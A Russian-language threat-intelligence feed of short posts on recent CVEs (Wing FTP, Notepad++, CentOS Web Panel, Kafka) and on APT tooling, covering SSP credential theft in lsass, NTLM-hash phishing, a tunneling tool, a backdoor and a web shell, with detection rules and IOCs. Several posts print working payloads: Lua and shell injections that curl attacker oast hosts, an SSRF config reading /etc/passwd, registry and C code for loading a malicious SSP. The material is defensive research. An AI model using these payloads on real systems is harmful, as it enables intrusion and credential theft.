Четыре луча

Десятибалльная уязвимость CVE-2025-47812 в Wing FTP Server: что важно знать

CVE-2025-47812 — критическая уязвимость, которая позволяет выполнить удалённый код (RCE) через инъекцию LUA. Она затрагивает версии Wing FTP Server до 7.4.4 и связана с неправильной обработкой нулевого байта (\0 или %00) в имени пользователя.

Метрики

Base Score : 10 Critical
CWE: CWE-158

Эта уязвимость опасна не только для панели авторизации пользователей, но и для панели авторизации администратора.

Как работает атака
— Атакующий вставляет LUA-скрипт в поле username при авторизации.
— Сервер возвращает ответ с cookie, содержащим UID или UIDADMIN.
— Атакующий посылает запрос на любой защищённый эндпоинт, доступный после авторизации, с заголовком из этого cookie.

В результате — удаленное выполнение кода.

Важно: для успешной атаки не нужны действительные учётные данные, если включён анонимный вход.

О конечных точках
На сегодняшний момент публичные эксплойты атакуют конечную точку loginok.html. Однако, как мы уже писали, уязвима и панель авторизации администратора на admin_loginok.html.
/loginok.html — вход для пользователей.
/admin_loginok.html — вход для администратора.

Пример атаки на панель авторизации администратора
1. Отправляем POST запрос на /admin_loginok.html с телом (скриншот 1):

username=admin%00]];os.execute("curl+https://yzvsXXX.oast.fun")%0d--&password=admin1234&username_val=admin&password_val=admin1234

В параметре username отправляется Curl, на внешний сервер, через os.execute.

2. Отправляем запрос с полученным UIDADMIN (скриншот 2).
3. Получаем запрос от атакуемого сервера (скриншот 3).

Для атаки необходимо знать данные авторизации администратора. А LUA-код может быть любым.

Как защититься
На WAF можно написать правило, блокирующее POST запросы на уязвимые конечные точки /loginok.html и /admin_loginok.html с телом сообщения, которое содержит нулевой бай. Например, через подобное регулярное выражение:

(%00|\x00).*?[:=\.-]+

Настоятельно рекомендуем обновиться на версию от 7.4.4.

В последних версиях Notepad ++ обнаружена уязвимость CVE-2025-49144, которая может позволить злоумышленникам повысить привилегии до SYSTEM.

Эта уязвимость находится в логике поиска бинарных файлов для регистрации различных компонентов Notepad++ во время установки его инсталлером. Для некоторых компонентов не указаны абсолютные пути. Таким образом сам инсталлятор Notepad ++ подвержен уязвимости к порядку поиска компонентов (Search Order).

👍 Что происходит

Во время установки Notepad ++ запускает следующие бинарные файлы, уязвимые к Search Order Hijack:

1. regsvr32.exe регистрирует COM-компонент библиотеки NppShell.dll в реестре.

regsvr32 /s "C:\Program Files\Notepad++\contextMenu\NppShell.dll"

NppShell.dll — это DLL, содержащая включает в себя несколько COM-объектов. Ее цель — интеграция иконки Notepad ++ в контекстное меню при правом клике мыши на какой-либо файл для открытия его Notepad'ом.

2. rundll32.exe вызывается только при переустановке Notepad ++ на систему

rundll32.exe "C:\Program Files\Notepad++\contextmenu\NppShell.dll",CleanupDll

Из библиотеки NppShell.dll вызывается функция CleanupDll — она отвечает за удаление модуля NppShell, если он уже присутствует на системе. Таким образом происходит переустановка или обновление.

Злоумышленники могут воспользоваться особенностью порядка поиска в Windows в случае указания не абсолютных путей:

1. Папка, где было запущено приложение
2. System32
3. /Windows/
4. WorkingDirectory
5. PATH переменная окружения

Таким образом, любой бинарный файл, который мы назовем одноименно с regsvr32.exe или rundll32.exe и поместим в одну папку с инсталером, будет запущен с повышенным уровнем целостности, так как установка инициирует прохождение UAC. Имея в распоряжении подобный процесс, злоумышленникам не составит труда подняться до SYSTEM.

Недавно Notepad ++ выпустили релиз версии 8.2.2, где исправили эту уязвимость. Чтобы проверить исправление, достаточно посмотреть параметры вызова CreateProcessW в процессе установки различных версий Notepad.

👍 Как проверить, исправлена ли уязвимость

В старой версии 8.6.8 (верхний скриншот) отсутствует абсолютный путь до rundll32.exe в параметрах вызова CreateProcessW

В обновленной версии 8.8.2 (нижний скриншот) указан абсолютный путь

Рекомендации по mitigation\detection
1. Обновление Notepad++ до последней версии 8.8.2, где устранена уязвимость порядка поиска
2. Отслеживание подозрительных запусков rundll32.exe и regsvr32.exe из нестандартных директорий (C:\Windows\System32|C:\Windows\SysWoW64)

Как группировка Erudite Mogwai перехватывает учетные данные Windows. Часть 2

В прошлом посте мы рассказывали о методе перехвата учетных данных группировки Erudite Mogwai (aka Space Pirates). Тогда вы угадывали, какой способ они использовали. Сегодня — правильный ответ!

👀 Злоумышленники применили метод загрузки SSP через вызов AddSecurityPackage. Этот способ оставляет меньше артефактов на атакуемой системе и помогает проще скрыться.

Как хакеры скрывали активность?

😬Подменой журнала Windows Defender: C:\Windows\Temp\MpCmdRun.log

Строка SSSPotless из ITW-образца указывает, что злоумышленники использовали исходный код модифицированной mimilib.dll из статьи на портале Red Team Notes (скриншот 1).

Такой трюк запутывает аналитиков:
— Имя и путь вредоносного файла совпадают с легитимным.
— При перезаписи файл сохраняет большинство временных меток.
— АВПО продолжает логировать события в уже подмененный файл, из-за чего размер файла и временная метка модификации файла постоянно меняются (скриншот 2).

❗️Последний пункт может помочь определить примерную дату подмены по первому событию в логе.

😬Мимикрией при сохранении учетных данных
Для сокрытия перехваченных учетных данных злоумышленники использовали мимикрию — креды добавляли в конец легитимного файла (скриншот 3):
C:\Windows\System32\NOISE.DAT
Этот файл используется службой индексации Windows для фильтрации общих слов и строк, хранящихся в нем.

В публичном мультисканнере мы нашли аналогичную библиотеку с логами Windows Defender в конце файла. Время компиляции, имя и хеш-суммы файлов без оверлей совпадают.

Вероятно группировка Erudite Mogwai использует такую мимикрию с конца 2024 года.

Original dll-name: TESTSSP.dll

fab60386c473d58cb0772a49e2737ae5 
6bd3a19b87648d368b5b2286f5018d7342bfe060 
aea34cadab9a0d5774c9132251a301c8856047b0db481f0b2e53d5d30a407ff0

Итог: те, кто поставил сердечки — правы!
Отмечаем победу лайком ❤️

Как группировка Erudite Mogwai перехватывает учетные данные Windows. Часть 1

При расследовании атаки группировки Erudite Mogwai (aka Space Pirates) на одного из клиентов мы нашли модифицированную библиотеку mimilib.dll. Windows Defender ее не заметил, потому что злоумышленники при модификации оставили только одну экспортную функцию SpLsaModeInitialize и убрали все строки, на которые могли бы сработать сигнатуры АВПО.

Эта библиотека — кастомный Security Support Provider (SSP). После загрузки в память процесса lsass.exe SSP перехватывает и записывает в лог-файл учетные данные пользователя, когда он проходит аутентификацию.

Как внедряют такую DLL SSP в процесс lsass.exe? Есть два способа.

1️⃣ Регистрация через реестр как LSA Security Package
— Поместить кастомный SSP DLL в %systemroot%\system32
— Прописать его как LSA Security Packages через реестр:

reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0<custom_ssp_name>" /t REG_MULTI_SZ /f

— Перезагрузить систему

2️⃣ Загрузка через API-вызов AddSecurityPackage
— Загрузить DLL с помощью функции AddSecurityPackage из библиотеки Secur32.lib.

Пример кода, реализующий этот метод:

#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#pragma comment(lib, "Secur32.lib")

int main()
{
  SECURITY_PACKAGE_OPTIONS spo = {};
  SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"<path_to_ssp_dll>", &spo);
  return 0;
}

➕ Плюсы этого метода:
DLL можно разместить в любом месте
Не нужна перезагрузка

❌ Минус:
После перезагрузки SSP выгрузится из пространства процесса lsass.exe

Группировка Erudite Mogwai в своей атаке использовала один из этих методов. Какой — угадаете?

🔥 — если голосуете за первый вариант
❤️ — если голосуете за второй

Завтра раскроем карты!

Сбор хешей продолжается

В январе этого года эксперты PT ESC сообщали о фишинговой кампании группировки PhaseShifters (Sticky Werewolf, Angry Likho) по сбору NTLM-хешей. Мы также следили за этой активностью и обнаружили, что злоумышленники продолжают сбор, но уже с нового IP-адреса из той же подсети (31.214.157.162). В некоторых случаях применяют новую технику для утечки данных.

Новый IP-адрес активно используется с января этого года по настоящее время. Мы обнаружили более 40 различных документов формата DOCX на популярном публичном сервисе мультисканера, у которых в word\_rels\document.xml.rels присутствуют ссылки на изображения вида:
file://\31.214.157.162\<random_name>.png
Например,
file://\31.214.157.162\xQGIc9qBS82QXWuC2g7L.png

При открытии документов в Word со ссылками вида file://<IP_address>\<image> система (процесс svchost.exe) обрабатывает ссылку как UNC-путь и инициирует SMB-соединение c указанным IP-адресом в попытке загрузить изображение. Это приводит к утечке имени пользователя, домена и NTLM-хеша. Методом перебора из NTLM-хеша можно восстановить пароль (успех восстановления зависит от сложности пароля) или использовать сам хеш в атаках Pass-the-Hash. Так группировка PhaseShifters проводит разведку и собирает аутентификационные данные, которые могут использоваться при взломе.

Утечка NTLM-хеша происходит даже в случае отсутствия файла изображения — злоумышленники используют случайные названия в ссылках.

Песочницы в подобных документах не находят ничего вредоносного, что может вводить в заблуждение неопытных пользователей. Одна из причин — при детонации вредоносные файлы не загружаются, не создаются и не выполняются.

Примеры фишинговых писем, использовавших новый IP-адрес — скриншоты 1 и 2.
Имена документов — скриншот 3.
Большинство документов загружались из России, часть — из Беларуси.

Новый прием
Среди документов мы обнаружили два архива, которые привлекли наше внимание (скриншот 4).
Оба архива содержали один и тот же LNK-файл под разными именами (скриншот 5).
В параметре Target у этого файла также содержалась ссылка для утечки NTLM-хеша:
\\31.214.157.162\@94OcMlGHaq.png

Возникает вопрос: зачем злоумышленники поместили в архив помимо DOCX-файла еще и LNK-файл?

Дело в том, что этот LNK-файл позволяет утечь NTLM-хешу даже без его открытия пользователем. Жертве достаточно распаковать архив и посмотреть содержимое каталога с LNK-файлом — все, NTLM-хеш будет украден.

Иными словами, достаточно просто открыть каталог с таким LNK-файлом — и NTLM-хеш пользователя станет известен злоумышленникам. Подобная утечка хеша в LNK-файлах считается «by design» и не является уязвимостью.

Идея эксплуатировать UNC-пути ради перехвата хешей не нова. Мы недавно писали, как детектировать похожую уязвимость (CVE-2025-24071), но только в library-ms-файлах.

Сам прием создания таких LNK-файлов известен давно, однако злоумышленники скорее всего черпали вдохновение из этой статьи 2020 года по следующим совпадениям:
1️⃣ наличие в lnk-файлах аналогичного hot key Ctrl+Alt+O;
2️⃣ использование @ в начале имени изображения в ссылке для отображения файла поверх остальных и упрощения взаимодействия пользователя с ним.

IOCs
С2 для сбора NTLM-хешей

31.214.157.162

Архивы с LNK-файлом (март 2025)

42c2c1fc08a23cfddeb4454c48b204b187529eec55499931af311c1fb7147b52
d49719c4f61485d14031a64b8f28ee663c61a91d142e4149a32fa7a98a6c30a6 

LNK-файл

00c5876f07d463b3c5519d630b9868ddcddf631375ff17c4910e22fab196a442

Документы с утечкой NTLM-хеша

7d979f396b68294bb8077e05253086f9fb7a789a0e5ab866857669b7a2f1d45a
eeffda92e025ac69e2235f654c2ac7d84c6d18208f0e4183770c876d5f1d9993
2b75c2e499d4e67bc00f45aa28aa09b04c3537a9b4347cfef7fe8d391ca764d7
e41abc39f533e0d62991b7f0199b954ca76d415717126a3e6012e9711e689e47

Исследование уязвимости в CentOS Web Panel CVE-2025-48703

В сети появился эксплойт на уязвимость CVE-2025-48703, который позволяет выполнять удаленный код (RCE) от имени пользователя в обход авторизации.

Метрики на сегодняшний момент в NIST не опубликованы.

Детали уязвимости
На конечной точке /fileManager_v2.php существует возможность редактирования прав файлов на чтение и запись. При изменении прав клиент отправляет POST запрос на <USER>/loader_ajax.php?ajax=filemanager&acc=changePerm с телом

-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="fileName"

.autorelabel
-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="currentPath"

/
-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="recursive"


-----------------------------3849265187757317862020143986
Content-Disposition: form-data; name="t_total"

600
-----------------------------3849265187757317862020143986—

В данном случае меняются права у файла .autorelabel в директории / на 600 т.е (-rw-------).

В эксплойте говорится, что злоумышленнику необходимо угадать имя пользователя <USER> и отправить POST-запрос без заголовка cookie. Эта ошибка приведет к обходу авторизации.
Вторая ошибка — это уязвимость параметра t_total, которая позволяет передать код для выполнения на сервере (RCE), например формате ` code ` или ; code .

Исследование
Был настроен стенд с версией CWP 0.9.8.1199, который подтвердил, что параметр t_total действительно уязвим к передаче команд. В нашем исследовании использовалась более новая версия панели пользователя, которая позволила добиться эксплуатации от пользователя admin с предварительной авторизацией. Исследователи, обнаружившие данную уязвимость, скорее всего, использовали более старую версию, что позволило им провести эксплуатацию от имени пользователя без предварительной авторизации.

Панель пользователя не версионируется во время процесса установки, т.е отрицать возможной эксплуатации мы не можем. Но можем точно сказать, что эксплуатация происходит идентично, за исключением того, что пользователь admin меняется на другого пользователя.

Пример эксплуатации
В приведенном примере уязвимый сервер, выполнив команду `curl https://jvphXXXXtoczq52p92qoh.oast.fun?a=rce`, обратился к серверу атакующего. Уязвимой конечной точкой в данном примере является /admin/loader_ajax.php?ajax=filemanager&acc=changePerm.

Как защищаться
Так как логикой приложения, в контексте уязвимой точки <USER>/loader_ajax.php?ajax=filemanager&acc=changePerm, задумано, что этот параметр должно передавать число в формате XXX, то любое отклонение от этой логики будет являться не легитимным а значит, мы можем проверять значение этого параметра через регулярное выражение, например: ^(?!100$|[1-9][0-9]{2}$).* .

Прибытие на полке утилит для туннелирования

Есть много утилит для туннелирования трафика, которые мы часто видим во время реагирования: ngrok, localtonet, stowaway, cloudflared, neo-regeorg, gost, frp и другие. Но злоумышленники на этом не останавливаются и продолжают создавать новые. Недавно на одном популярном сервисе мультисканера мы обнаружили утилиту Serpent by Vegas v2.2.1, которая использовалась в одной из атак хакерской группировки BO Team (Black Owl) на энергетическую компанию.

Serpent — это необфусцированный исполняемый файл, написанный на языке Golang. Строки не зашифрованы. Трафик шифруется алгоритмом AES. Утилита предназначена для проксирования и туннелирования сетевого трафика, а еще для сокрытия своего присутствия в инфраструктуре компании. Она может использовать скомпрометированные системы внутри организации-жертвы в качестве прокси-серверов и создавать из них цепочки. Злоумышленники пользуются этим для взаимодействия с ВПО, который находится на системе без доступа в интернет.

Скриншот 1 — пример запуска утилиты без аргументов.
Скриншот 2 — подробный help по аргументам командной строки.

Информация о сборке

path    vegas/serpent/cmd/main
mod     vegas/serpent   (devel)
build   vcs=git
build   vcs.revision=3acd31d1b32e9919c78a247545542273ffcc7ea6
build   vcs.time=2024-09-07T19:51:44Z
build   vcs.modified=true

При запуске без параметров Serpent работает в режиме master-relay
👍 Открывает 1080 порт для SOCKS5 соединений (по умолчанию данные для аутентификации: master:deadbeef);
👍 Открывает 1081 порт для Relay-соединений от локальных устройств.

Name: mscvs.exe
MD5: 7de20abf342e652981476e45aab5accc
SHA1: c121807f3afe9b1795b90982c631f9f907fc19b9
SHA256: c95a39a992d85d7c7299a84780f3418bc1574c9adcd6318b5c3116405f48269f

SSRF в Apache Kafka Client CVE-2025-27817

CVE-2025-27817 обнаружена в Apache Kafka Client и затрагивает механизм аутентификации SASL/OAUTHBEARER. Эта уязвимость позволяет злоумышленнику указать произвольные значения параметров sasl.oauthbearer.token.endpoint.url и sasl.oauthbearer.jwks.endpoint.url, что может привести к реализации SSRF.

❗️Уязвимы версии 3.1.0 – 3.9.0 — рекомендуем обновиться.

Метрики

Base core: 7,5 (High)
CWE: CWE 918

Описание уязвимости
Kafka Client позволяет указать URL-адреса в конфигурации:
sasl.oauthbearer.token.endpoint.url
sasl.oauthbearer.jwks.endpoint.url

sasl.oauthbearer.token.endpoint.url — это параметр конфигурации в Apache Kafka Client, который указывает URL-адрес сервера аутентификации OAuthBearer, откуда клиент должен получить токен доступа.

sasl.oauthbearer.jwks.endpoint.url — это параметр конфигурации Apache Kafka Client, который указывает URL для получения JWKS (JSON Web Key Set) — набора ключей, используемых для проверки подписанных OAuth токенов.

Проблема
Kafka не ограничивает допустимые схемы URL — можно подставить:
file:// → приведёт к чтению локального файла и логированию его содержимого.
http:// или https:// → позволяет сделать запрос к произвольному серверу, в том числе во внутренней сети → SSRF.

Пример эксплойта

{
  "type": "kafka",
  "spec": {
    "type": "kafka",
    "ioConfig": {
      "type": "kafka",
      "consumerProperties": {
        "bootstrap.servers": "127.0.0.1:1337",
        "sasl.mechanism": "OAUTHBEARER",
        "security.protocol": "SASL_SSL",
        "sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",
        "sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
        "sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required;"
      },
      "topic": "xx",
      "useEarliestOffset": true
 
    },
    "dataSchema": {
      "dataSource": "test"
    }
  }
}

В данном запросе злоумышленник получит содержимое файла /etc/passwd через схему file. А в известном эксплоите обращение идет к эндроинту /druid/indexer/v1/sampler

Как защищаться
На WAF можно написать правило, которое контролировало содержимое ключей sasl.oauthbearer.token.endpoint.url и sasl.oauthbearer.jwks.endpoint.url, что бы в них не передавались схемы http, ftp, php, https, file, data.
Например подобным регулярным выражением

\"\s*sasl\.oauthbearer\.(token|jwks)\.endpoint\.url\s*\":\s*\"\s*(http:\/\/|https:\/\/|file:\/\/|php|data|ftp).*?\"

Возможные исключения: в схемах https, http отсутствие адресов, недоступных для внешних пользователей.

LuckyStrike Agent: коммерческий бэкдор на службе Erudite Mogwai?

LuckyStrike Agent — это многофункциональный .NET бэкдор, который был замечен в атаках группировки Erudite Mogwai. Ранее мы уже рассказывали, как Erudite Mogwai использует кастомный Stowaway для скрытного продвижения в сети.

Что нужно знать о LuckyStrike Agent
😬 «Покерный блеф» в коде: название и внутренние классы загрузчика — "Card", "ArtificialPlayer", "Table", "Hand" — отсылают к азартным играм.
👽 Загрузчик использует технику AppDomain Manager Injection (T1574.014).
👽 Облачные сервисы в качестве C2: в семплах, которые мы обнаружили, использовался OneDrive, однако архитектура бэкдора позволяет использовать и другие облачные сервисы.
👽 Коммерческий продукт? В отладочных строках бэкдора присутствует строка E:\Csharp\HA_Thomas\Server\Library\obj\Paid Version\Library.pdb. Также при генерации agent_id (MD5 от определенным образом сформированной строки) используется префикс paid, что может говорить о коммерческой природе данного вредоноса.

Какие функции выполняет бэкдор LuckyStrike Agent
⚪️ Исполняет консольные команды.
⚪️ Загружает и исполняет кастомные сборки (Assembly). Поддерживает два варианта запуска сборок. В первом случае у подгруженной сборки исполняется точка входа. Во втором случае сборка должна имплементировать тип Plugin, у которого присутствует метод Run.
⚪️ Удаляет и загружает файлы.
⚪️ Собирает информацию о файлах в директориях — имя, размер, путь, base64 от иконки, время последней записи в файл и является ли путь директорией.
⚪️ Собирает информацию о дисках — имя диска и объем.

Подробнее о LuckyStrike Agent читайте в нашей статье.

🔍 Как подготовиться к реальным атакам на Kubernetes

Kubernetes используют многие организации для управления микросервисами, CI/CD и масштабирования. Но его гибкость часто приводит к неправильной настройке — слишком открытые роли RBAC, ошибки в NetworkPolicy, публичный доступ к API-серверу. Всё это создаёт широкий спектр потенциальных векторов атак.

Мониторинг помогает выявить атаки, даже если базовая защита уже настроена, особенно при ошибках в конфигурации. Однако прежде чем мониторить активность, важно понимать: чего именно хочет атакующий от нашего кластера?

Чтобы это выяснить, мы заранее готовим лабораторные стенды для эмуляции атак. Они позволяют точно настроить сбор телеметрии и определить, какие события и активности нужно отслеживать. Эти данные помогают нам настраивать правила детектирования аномалий и отсеивать легитимную активность, чтобы сократить количество ложных срабатываний.

🎯 Мы собрали мини-гайд с практическими рекомендациями по развёртыванию уязвимого Kubernetes-кластера. Этот подход основан на нашем лабораторном стенде из недавнего доклада, где мы разбирали актуальные техники атакующих в Kubernetes.

Что поможет сделать этот гайд
👍 Развернуть собственный стенд, повторяющий наш сценарий атак;
👍 Пройти гипотетический сценарий атак из доклада;
👍 Улучшить аудит и мониторинг своих кластеров;
👍 Подготовиться к реальным атакам и повысить защиту Kubernetes.

Если готовы проверить себя, читайте статью и тестируйте уязвимости в безопасной среде 🚀

Необычный веб-шелл в арсенале Obstinate Mogwai, часть 2

Продолжаем рассказывать про необычный веб-шелл в арсенале группировки Obstinate Mogwai. Он выглядит как нерабочий, но на самом деле работает.

Почему он интересен в кубе

Мы уже объяснили, почему выполнялся закомментированный код в веб-шелле, но позже у нас возник вопрос, который мы упустили из-за интересной legacy-техники…

Злоумышленники создали файл с именем web.aspx! ASPX-файл! По сути это означало, что интересная legacy-техника исполнения кода в web.config-файле была им попросту не нужна. Можно было выкинуть все web.config-настройки, оставить только ASPX-код — и он бы спокойно работал (скриншот 1).

Возможно, таким образом злоумышленники хотели мимикрировать под web.config-файл, запутать DFIR-специалистов в IIS-логах либо достигнуть каких-то иных целей.

Где расположен веб-шелл

Это еще один интересный вопрос.

В нашем случае он располагался в Backend-каталоге Exchange-сервера (каталог ClientAccess):

C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\Owa\auth\

Обычно веб-шеллы располагают в каталогах, которые доступны извне (например, ...\FrontEnd\HttpProxy\owa\auth).

Для доступа к такому веб-шеллу злоумышленникам нужно знать какие-либо аутентификационные данные либо использовать уязвимости, похожие на ProxyLogon, ProxyShell и другие.

Также отметим, что в IIS-логах обращения к такому веб-шеллу могут выглядеть так, будто они идут к FrontEnd:

YYYY-MM-DD HH:MM:SS EXCH_IP GET /owa/auth/web.aspx c=whoami&ClientId=9BCA85B3DFC84A6896909B891C54BA9F&CorrelationID=<empty>;&encoding=;&cafeReqId=8e7a389b-5887-4a50-9641-f7ef409bfb61; 443 - CLIENT_IP USER_AGENT - 200 0 0 65

Можно проверить web.aspx в каталоге C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth и ничего там не обнаружить.

Отметим, что мы не обнаружили никаких обращений к данному веб-шеллу в инциденте.

❗️ Поэтому важный совет: если вы делаете DFIR в инфраструктуре, атакованной Obstinate Mogwai, для надежности при обнаружении подобных подозрительных запросов проверьте оба каталога — Frontend и Backend — на наличие веб-шелла.

Откуда взялся этот веб-шелл

Мы обнаружили очень похожий веб-шелл в статье ".NET upload web.config file to achieve RCE idea" на азиатской платформе для публикации технических исследований по информационной безопасности.

В разделе "0x02 Running as a .NETT script" представлен пример, который очень похож на веб-шелл, использованный в реальной атаке (скриншот 2).

Веб-шелл в инциденте был обнаружен 14.09.2023 03:42:47, а статья вышла 22.01.2024. Ее опубликовало сообщество dot.Net Security Matrix, которое уже на протяжении многих лет выпускает различные red team материалы по .NET. Примечательно, что автор статьи как будто специально упустил в примерах кода детали, без которых его нельзя просто скопипастить и использовать.

Публикация статьи после инцидента может быть совпадением, но не исключено, что эти истории связаны.

Вывод: при реагировании на инциденты необходимо учитывать особенности веб-шеллов.